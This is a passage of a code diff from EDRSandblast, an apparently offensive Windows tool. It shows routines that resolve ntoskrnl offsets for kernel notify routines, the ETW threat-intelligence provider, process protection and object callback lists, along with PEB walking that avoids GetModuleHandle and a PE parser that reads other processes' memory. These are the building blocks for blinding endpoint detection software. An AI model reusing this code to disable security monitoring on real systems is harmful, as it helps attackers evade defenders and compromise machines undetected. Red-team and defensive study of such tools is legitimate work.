} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include "ListUtils.h"
|
||||
|
||||
VOID freeLinkedList(PVOID head) {
|
||||
PLINKED_LIST previousNode = NULL;
|
||||
PLINKED_LIST currentNode = (PLINKED_LIST)head;
|
||||
|
||||
while (currentNode) {
|
||||
previousNode = currentNode;
|
||||
currentNode = currentNode->next;
|
||||
free(previousNode);
|
||||
previousNode = NULL;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -7,24 +7,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
|
||||
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
void PrintNtoskrnlOffsets() {
|
||||
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
|
||||
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
|
||||
}
|
||||
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
|
||||
}
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
|
||||
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
|
||||
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
|
||||
g_ntoskrnlOffsets.st.psThreadType != 0 &&
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetNtoskrnlPath() {
|
||||
if (_tcslen(g_ntoskrnlPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
}
|
||||
return g_ntoskrnlPath;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlVersion[256] = { 0 };
|
||||
LPTSTR GetNtoskrnlVersion() {
|
||||
if (_tcslen(g_ntoskrnlVersion) == 0) {
|
||||
|
||||
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
return g_ntoskrnlVersion;
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* Functions that browse the PEB structure instead of relying on GetModuleHandle
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given the module name
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||
size_t nameSize = wcslen(name);
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
|
||||
return currentModuleEntry;
|
||||
}
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
printf_or_not("getModuleEntryFromNameW failed to find module\n");
|
||||
#endif // _DEBUG
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given an address inside it
|
||||
Assumes : the address belong to a module
|
||||
Returns : the module it should belong to
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
|
||||
LDR_DATA_TABLE_ENTRY* closest = NULL;
|
||||
uintptr_t distance = (uintptr_t)-1;
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
|
||||
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
|
||||
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
|
||||
closest = ptr;
|
||||
}
|
||||
}
|
||||
return closest;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Returns the next module entry in the InLoadOrderModuleList
|
||||
Assumes : curr is a ptr to a module entry in the list or NULL
|
||||
Returns :
|
||||
* if curr is non-NULL:
|
||||
* A pointer to the next entry in the list, or
|
||||
* A NULL pointer, if end of the list is reached
|
||||
* if curr is NULL
|
||||
* A pointer to the first element of the list
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
|
||||
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
|
||||
if (curr == NULL) {
|
||||
return start;
|
||||
}
|
||||
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
|
||||
if (next == start) {
|
||||
return NULL;
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PEB64* getPEB() {
|
||||
return (PEB64*)__readgsqword(0x60);
|
||||
}
|
||||
|
||||
TEB64* getTEB() {
|
||||
return (TEB64*)__readgsqword(0x30);
|
||||
}
|
||||
#else
|
||||
PEB* getPEB() {
|
||||
return (PEB*)__readfsdword(0x30);
|
||||
}
|
||||
|
||||
TEB* getTEB() {
|
||||
return (TEB*)__readfsdword(0x18);
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,420 @@
|
||||
/*
|
||||
* Full library whose job is to parse PE structures, on disk, on memory and even in another process memory
|
||||
* Among other things, reimplements GetProcAddress and the PE relocation process
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
|
||||
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
|
||||
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
Get the next section header having the given memory access permissions, after the provided section headers "prev".
|
||||
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
|
||||
Returns NULL if no section header is found.
|
||||
*/
|
||||
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
|
||||
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
|
||||
if (readable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
|
||||
if (readable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (readable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (writable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
if (writable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (writable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (executable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
if (executable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (executable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
|
||||
PVOID peBase = pe->dosHeader;
|
||||
if (pe->isMemoryMapped) {
|
||||
return (PBYTE)peBase + rva;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
|
||||
if (NULL == rvaSectionHeader) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
|
||||
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
|
||||
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
return sectionVA + (DWORD)relativeOffset;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID PE_parseRelocations(PE* pe) {
|
||||
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
|
||||
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
|
||||
pe->nbRelocations = 0;
|
||||
DWORD relocationsLength = 16;
|
||||
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
|
||||
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
|
||||
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
|
||||
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
|
||||
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
|
||||
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
|
||||
if (pe->nbRelocations >= relocationsLength) {
|
||||
relocationsLength *= 2;
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(NULL != pe_relocations);
|
||||
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
|
||||
assert(NULL != pe->relocations);
|
||||
}
|
||||
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
|
||||
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
|
||||
pe->nbRelocations++;
|
||||
relocationEntry++;
|
||||
}
|
||||
relocationBlockPtr = nextRelocationBlockPtr;
|
||||
}
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(pe_relocations != NULL);
|
||||
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
}
|
||||
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
{
|
||||
DWORD* relocDwAddress;
|
||||
QWORD* relocQwAddress;
|
||||
|
||||
if (pe->isMemoryMapped) {
|
||||
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
return;
|
||||
}
|
||||
if (NULL == pe->relocations) {
|
||||
PE_parseRelocations(pe);
|
||||
}
|
||||
assert(pe->relocations != NULL);
|
||||
PVOID oldBaseAddress = pe->baseAddress;
|
||||
pe->baseAddress = newBaseAddress;
|
||||
for (DWORD i = 0; i < pe->nbRelocations; i++) {
|
||||
switch (pe->relocations[i].Type) {
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
*relocDwAddress += (DWORD)relativeOffset;
|
||||
break;
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
break;
|
||||
default:
|
||||
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = isMemoryMapped;
|
||||
pe->isInAnotherAddressSpace = FALSE;
|
||||
pe->hProcess = INVALID_HANDLE_VALUE;
|
||||
pe->dosHeader = imageBase;
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
|
||||
pe->optHeader = &pe->ntHeader->OptionalHeader;
|
||||
if (isMemoryMapped) {
|
||||
pe->baseAddress = imageBase;
|
||||
}
|
||||
else {
|
||||
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
|
||||
}
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
|
||||
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
|
||||
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = TRUE;
|
||||
pe->hProcess = hProcess;
|
||||
pe->isInAnotherAddressSpace = TRUE;
|
||||
pe->baseAddress = imageBase;
|
||||
pe->dosHeader = imageBase;
|
||||
DWORD ntHeaderPtrAddress = 0;
|
||||
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
|
||||
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
WORD sizeOfOptionnalHeader = 0;
|
||||
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
|
||||
DWORD exportRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
|
||||
DWORD AddressOfNames = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
|
||||
|
||||
DWORD AddressOfFunctions = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
|
||||
|
||||
DWORD AddressOfNameOrdinals = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
|
||||
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
DWORD debugDirectoryType;
|
||||
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
|
||||
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
DWORD codeviewDebugInfoSignature;
|
||||
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
|
||||
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
|
||||
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
|
||||
LPDWORD exportedNames = pe->exportedNames;
|
||||
LPDWORD exportedFunctions = pe->exportedFunctions;
|
||||
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
|
||||
|
||||
DWORD nameOrdinal_low = 0;
|
||||
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
|
||||
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
|
||||
DWORD nameOrdinal_mid;
|
||||
LPCSTR exportName_mid;
|
||||
|
||||
while (nameOrdinal_high - nameOrdinal_low > 1) {
|
||||
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
|
||||
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
|
||||
if (strcmp(exportName_mid, functionName) > 0) {
|
||||
nameOrdinal_high = nameOrdinal_mid;
|
||||
}
|
||||
else {
|
||||
nameOrdinal_low = nameOrdinal_mid;
|
||||
exportName_low = exportName_mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(exportName_low, functionName))
|
||||
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||
if (functionRVA == 0) {
|
||||
return NULL;
|
||||
}
|
||||
return PE_RVA_to_Addr(pe, functionRVA);
|
||||
}
|
||||
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
if ((size_t)sectionSize < patternSize) {
|
||||
continue;
|
||||
}
|
||||
assert(patternSize <= MAXDWORD);
|
||||
DWORD endSize = sectionSize - (DWORD)patternSize;
|
||||
for (DWORD offset = 0; offset < endSize; offset++) {
|
||||
